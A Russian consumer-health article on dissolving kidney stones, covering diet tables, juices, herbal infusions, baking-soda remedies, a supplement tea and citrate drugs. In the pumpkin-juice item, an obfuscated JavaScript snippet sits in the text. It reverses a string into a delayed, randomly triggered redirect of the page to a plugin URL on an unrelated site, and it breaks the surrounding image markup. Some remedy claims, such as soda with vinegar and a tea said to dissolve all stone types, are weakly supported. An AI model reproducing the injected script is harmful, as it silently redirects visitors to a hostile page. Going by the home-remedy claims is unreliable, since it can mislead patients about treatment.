Для процесса выведения камней из почек не существует каких-либо определённых стандартов, которые подошли бы всем без исключения больным. Каждый пациент по-своему уникален, у каждого есть собственная причина возникновения мочекаменной болезни. Конкретно взятому человеку присущ специфический состав конкремента, его размеры, локализация и форма. Функциональная способность почек, микрофлора урины и анатомическое строение органов мочевыделительной системы у всех людей тоже различаются. Поэтому современные консервативные способы избавления от камней в почках базируются только на общепринятых методиках, заключающихся в разрушении и растворении твёрдых отложений с помощью коррекции питания и применения специальных медикаментозных препаратов. Более подробно и индивидуально способы изгнания из почек каменных образований подбираются вместе с лечащим урологом после тщательного обследования.
Содержание
Какие почечные камни поддаются растворению
Процесс растворения камней в мочевыделительной системе называется литолизом. Эффективнее всего поддаются этому процессу уратные конкременты, основой которых служит мочевая кислота и её соли. Плотность таких камней невелика, поэтому они хорошо визуализируются при ультразвуковой диагностике, но практически не видны на рентгеновских снимках. Со 100%-й уверенностью можно говорить о наличии уратного камня только у тех больных, у кого производилось исследование удалённого во время хирургического вмешательства или вышедшего наружу ранее конкремента.
Лабораторный анализ, с помощью которого определяется высокая кислотность мочи, характерная для мочекаменной болезни уратного типа, называется рН-метрией.
Для уточнения состава конкремента пациенту иногда делают компьютерную томографию, с помощью которой легко можно определить точную плотность инородного тела. Но чаще всего бывает достаточно УЗИ и рентгенограммы. Если при первом из этих исследований камень выявляется, а при втором — нет, и при этом pH урины неоднократно смещается в кислую сторону, то наличие уратного конкремента в почках не оставляет сомнений. И тогда у человека есть шанс его растворить. Камни другого состава, к сожалению, практически не поддаются литолизу.
Для успешного растворения конкрементов уратного состава прежде всего необходимо понизить в организме содержание мочевой кислоты. Иными словами, кислотно-щелочной баланс урины у данного больного нужно повысить — моча из кислой должна превратиться в слабокислую. Однако здесь важно не переусердствовать: если эта биологическая жидкость станет слишком щелочной, то на существующие конкременты начнут оседать соли фосфатов и карбонатов, и их рост продолжится. С другой стороны, недостаточное ощелачивание мочи может привести к замедлению или даже к полной остановке растворения твёрдых отложений. Оптимально, если значения рН урины будут длительно поддерживаться в пределах 6,2–6,6. Поэтому любой литолиз должен выполняться под строгим контролем врача и регулярных лабораторных анализов. Такое лечение важно проводить в комплексе со специально подобранной диетой.
Ощелачивание мочи приводит к остановке роста уратов и даже к их разрушению, поскольку камни этого типа могут существовать только в кислой среде. С этой целью больным назначают цитрат-содержащие медикаментозные препараты и обильное щелочное питьё.
Мелкие уратные камни растворяются не менее чем за 2 месяца. Для литолиза крупных конкрементов (более 20 мм в диаметре) может понадобиться не менее полугода, поэтому не стоит рассчитывать на быстрый результат лечения. Лучше всего сначала раздробить большие камни с помощью контактной или дистанционной литотрипсии и только потом уже пытаться растворить их оставшиеся мелкие обломки.
Другое название уратного нефролитиаза — мочекислый диатез.
Камни оксалатного и фосфатного типа практически не поддаются литолизу, но таким больным можно рекомендовать хотя бы придерживаться диеты, не позволяющей существующим отложениям расти и появляться новым.
Диета, рекомендуемая для растворения камней
В возникновении почечно-каменной болезни имеет немалое значение характер рациона. Ведь растительная и молочная пища способствует ощелачиванию урины, а мясная — её окислению. Среди причин, благоприятствующих зарождению камней, можно назвать излишек в принимаемой ежедневно еде консервов, соли, дефицит витаминов А и С и избыточное количество витамина D. На лечебный рацион врачи возлагают основные надежды в профилактике повторного появления камней, отошедших самопроизвольно или удалённых искусственно. Специальная диета назначается надолго, иногда пожизненно, ибо она не только помогает растворению имеющихся, но и предупреждает появление новых камней. Питаться больные должны 5 раз в день; есть нужно небольшими порциями. Чересчур холодные блюда необходимо подогревать.
Таблица: диетическое питание и питьё для растворения почечных отложений
| Тип конкрементов | Ураты | Оксалаты | Фосфаты |
| Цели лечебного рациона |
|
|
|
| № стола по Певзнеру | 6, молочно-растительная диета | 5, ограничивающая углеводы и соль диета | 14, безмолочная и мясная диета |
| Рекомендуемые продукты |
|
Те же, что и при уратных камнях, кроме сахара. Его лучше в сладких блюдах заменить сахарином. Особенно рекомендуются блюда из картофеля (отварного или запечённого). |
|
| Запрещённые продукты |
|
Те же, что и при уратных камнях, кроме того:
|
|
| Рекомендуемые напитки |
|
|
|
| Полезные минеральные воды |
|
Те же, что при уратных камнях, кроме того, «Нафтуся» с курорта Трускавец |
|
| Количество жидкости, которое необходимо выпивать за сутки | 2,6–3,1 л | 2,1–2,6 л | 1,3–1,8л |
Минеральные воды для терапии мочекаменной болезни на упомянутых курортах сохраняют свои целебные свойства в любой период года. Нужно знать, что питьё магазинных бутилированных вод с аналогичными названиями далеко не равноценно пребыванию на курорте и приёму лечебной воды из местного источника. Их можно употреблять в объёме не более 0,5 л в сутки и под контролем лабораторных исследований урины и крови.
Соки, оказывающие ощелачивающее воздействие на урину
При камнях уратного и оксалатного типа полезно пить такие соки:
- Тыквенный. Являясь изумительным диуретическим, лёгким слабительным и антисептическим средством, этот сок восстанавливает нарушенный обмен веществ.
$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/06/tykvennyy-sok-728×546.jpg» alt=»Тыквенный сок» width=»728″ height=»546″ /> Тыквенный сок не только чрезвычайно полезен, но и красив на вид
- Огуречный. Он тоже, как и тыквенный, обладает отличным мочегонным эффектом. Высокое содержание в напитке калия помогает естественно восполнить запасы этого микроэлемента, вымываемые из организма с уриной в результате повышенного диуреза. С этой же целью больным параллельно с мочегонными средствами назначают таблетки Аспаркам. А кремний, имеющийся в огурцах в большом количестве, способствует восстановлению нормального коллоидного равновесия урины.
Ощелачивающие соки нужно пить по 3/4 стакана 3 или 4 раза в день за 15–25 минут до еды.
Таблица: примерное меню для людей, желающих растворить у себя камни в почках
| Приём пищи | Время дня | При мочекислых камнях | При оксалатных камнях | При фосфатах |
| Первый завтрак | 7.15–8 часов |
|
|
|
| Второй завтрак | 10–11 часов |
|
|
|
| Обед | 14–15 часов |
|
|
|
| Полдник | 18–18.30 часов |
|
|
|
| Ужин | 21–21.30 час |
|
|
|
Травяные сборы для избавления от почечных камней
В дополнение к диете можно для растворения конкрементов применять настои и отвары из лекарственных трав. Выраженным свойством увеличивать растворимость твёрдых отложений, а также выводить их наружу обладают нижеперечисленные фитосборы.
При мочекислом диатезе взять в одинаковых пропорциях:
- траву хвоща;
- корень лопуха;
- цветы чёрной бузины;
- траву спорыша.
1 ст. л. измельчённого сбора залить 1 стаканом кипятка. Настоять 1 час, процедить и выпить за 3 раза в течение дня вместе с приёмами пищи.
Для остановки роста оксалатов приготовить одинаковое количество такого сырья:
- листьев медвежьих ушек;
- травы грыжника;
- травы спорыша;
- кукурузных рылец.
Взять 1 ст. л. смеси, залить её 400 мл кипятка и дать настояться полчаса. Процедив, пить в тёплом виде вместо чая на завтрак и ужин.
При фосфатных камнях измельчить по 1 ч. л.:
- травы грыжника;
- плодов можжевельника;
- листьев толокнянки.
Добавить к смеси 4 ч. л. корня марены красильной, залить всё ½ л кипящей воды и протомить на тихом огне 20 минут. Пить охлаждённый процеженный отвар по ¼ чашки трижды в день за 10 минут до еды.
Растворение конкрементов содой
Пищевая сода может тоже использоваться как домашнее средство для растворения почечных камней. Готовится оно очень просто: в стакане тёплой воды нужно развести ¼ ч. л. соды. Пьют такой раствор утром, перед завтраком, постепенно увеличивая количество соды до 1/3 ч. л.
Чтобы отложения растворились быстрее, можно размешать в 1 чашке воды 2 ст. л. яблочного уксуса и ½ ч. л. соды. Средство принять на протяжении дня за 2 этапа.
Видео: Неумывакин о камнях в почках и соде
Китайский чай от камней в почках
Китайский чай под названием Шеншитонг, который является биодобавкой, создан на основе лекарственного растительного сбора и высушенной оболочки желудка курицы. Считается, что он способствует литолизу всех типов почечных конкрементов. Такой чай можно пить как во время медикаментозного растворения твёрдых отложений, так и для предупреждения повторного камнеобразования, поскольку он не допускает скопления в мочевых путях солей. Как правильно заваривать и употреблять напиток, написано на упаковке.
Видео: отзыв пациента об использовании чая Шеншитонг
Препараты, применяемые для медикаментозного литолиза
Лекарственное растворение камней с помощью медикаментозных препаратов может использоваться только в таких условиях:
- сохранённая функция почек;
- отсутствие в мочеобразующих органах острого воспалительного процесса;
- отсутствие стриктур мочеточников.
Различают литолиз нисходящий и восходящий. В первом случае пациент получает препараты путём инъекций или принимает их внутрь через рот (орально). При втором способе лечебными растворами непосредственно орошают конкремент, находящийся внутри самой почки. Возможен доступ к нему как с помощью мочеточникового катетера, так и снаружи, путём пункции органа и введения в него дренажного устройства.
Препараты для растворения камней и ощелачивания мочи
Для литолиза почечных отложений уратного состава применяют цитратные препараты Блемарен и Уралит У. Первый из них производится в форме шипучих таблеток либо гранул в наборе с календариком и бумагой-индикатором. В состав Блемарена входит лимонная кислота и её производные — цитрат калия и цитрат натрия. Это средство создаёт в урине повышенный уровень этих микроэлементов, тем самым ощелачивая её. Нужно учесть, что приём слишком больших доз Блемарена может привести не только к разрушению уратных отложений, но и к росту на их обломках оксалатных камней. Фармакологические свойства Уралита У — такие же.
Растворение уратных камней цитратными смесями происходит уже через пару месяцев, а весь курс лечения длится около полугода. При почечных отложениях другого состава эти препараты используются в качестве дополнительного средства, например, при подготовке к сеансу литотрипсии.
Видео: как пациент принимал Блемарен
Растительные препараты
К наиболее эффективным растительным медикаментам, препятствующим формированию и способствующим растворению камней, относятся:
- Цистон;
- Цистенал;
- Канефрон;
- Уролесан;
- Ависан;
- Фитолизин.
Цистон содержит в себе 9 растительных компонентов. Их биологически активные вещества оказывают на почки литолитическое, противовоспалительное и мочегонное действие. Применение Цистона замедляет процесс камнеобразования и кристаллизации мочевых солей. Под влиянием этого препарата разрушается вещество, склеивающее твёрдые песчинки, отчего камни любого состава распадаются на мелкие фрагменты, которые впоследствии вымываются из почек с током мочи.
Препарат Канефрон также создан на растительной основе и включает свой состав экстракты:
- золототысячника;
- любистка;
- розмарина;
- шиповника.
Средство оказывает на мочевые пути диуретическое и противомикробное действие, разрушая бактерии на клеточном уровне. Улучшает кровоснабжение почек, расширяя их сосуды; поддерживает рН мочи на необходимом уровне. Способствует быстрому отхождению обломков камней после литотрипсии.
Цистенал, Ависан, Фитолизин и Уролесан обладают похожим составом и действием.
Фотогалерея: лекарства для литолиза
-
- Фитолизин — паста растительного состава для приготовления суспензии
-
- Уролесан устраняет спазмы и усиливает диурез
-
- Цистон — растительный препарат противовоспалительного действия
-
- Уралит У служит для профилактики образования мочекислых камней: регулирует рН мочи и длительное время поддерживает сдвиг реакции в щелочную сторону
-
- Блемарен применяется для растворения, а также для профилактики образования кальций-оксалатных и мочекислых камней
-
- Регулярный приём китайского чая Шеншитонг способствует очищению почек от камней
-
- Лимонный сок можно принимать не дольше трёх дней, иначе можно вызвать повреждение слизистой оболочки желудка
-
- Огуречный сок прекрасно утоляет жажду и освежает, к тому же служит источником калия для организма
-
- Тыквенный сок не только чрезвычайно полезен, но и красив на вид
-
- Нормальные показатели рН мочи колеблются в диапазоне от 6 до 8
-
- Уратные камни — самые мягкие из всех, поэтому только они поддаются растворению
Неэффективные и опасные методы
Каждому пациенту нужно помнить, что далеко не все уратные камни способны раствориться под влиянием медикаментозных препаратов и диеты. Даже опытному врачу не всегда удаётся правильно рассчитать терапевтические дозы, поддерживающие необходимый уровень кислотности мочи. Камень может иметь смешанный состав или не поддаваться литолизу по каким-либо иным причинам. К тому же, цитратные препараты могут вызывать целый «букет» побочных действий. Поэтому длительное лечение ими имеет смысл только при заметном положительном результате, а о том, чтобы назначать их себе самостоятельно, не может быть и речи.
Оценка эффективности проводимой терапии должна проводиться только врачом. О том, что камень начал растворяться, можно узнать по изменению цвета мочи: она становится мутной, в ней обнаруживается песок. В динамике проследить за процессом литолиза уратного камня можно с помощью УЗИ и рН-метрии мочи.
В народе ходит миф о том, что регулярное питьё лимонного или клюквенного сока поможет растворить почечные камни. Однако врачам известны случаи, когда следовавшие этому совету пациенты попадали на операционный стол с прободной язвой желудка и массивным внутриполостным кровотечением. Лимонная кислота, являющаяся активным веществом цитратных средств, лишь уменьшает всасывание в тонком отделе кишечника кальция, но нисколько не способствует растворению каких-либо твёрдых отложений.
Диуретические препараты и травы при камнях в почках нужно применять с большой осторожностью. Если под их влиянием остроугольный и крупный камень двинется в «путешествие» вниз по мочеточнику, то это может вызвать приступ острейшей боли — почечную колику. В результате ранения шипами слизистой оболочки лоханки легко возникает её воспаление — пиелонефрит, а это потребует длительного лечения в стационаре.
Поиск и разработка медикаментозных препаратов, способных при приёме внутрь растворить и вывести из почек крупные конкременты различного состава при минимуме побочных эффектов, является одной из главных проблем современной урологии. На сегодняшний день такая терапия возможна только в случае с уратными камнями, и то далеко не во всех случаях. Идеальным решением задачи по лечению мочекаменной болезни могли бы стать фитопрепараты, но на данном этапе, к сожалению, они играют в нём лишь вспомогательную роль.
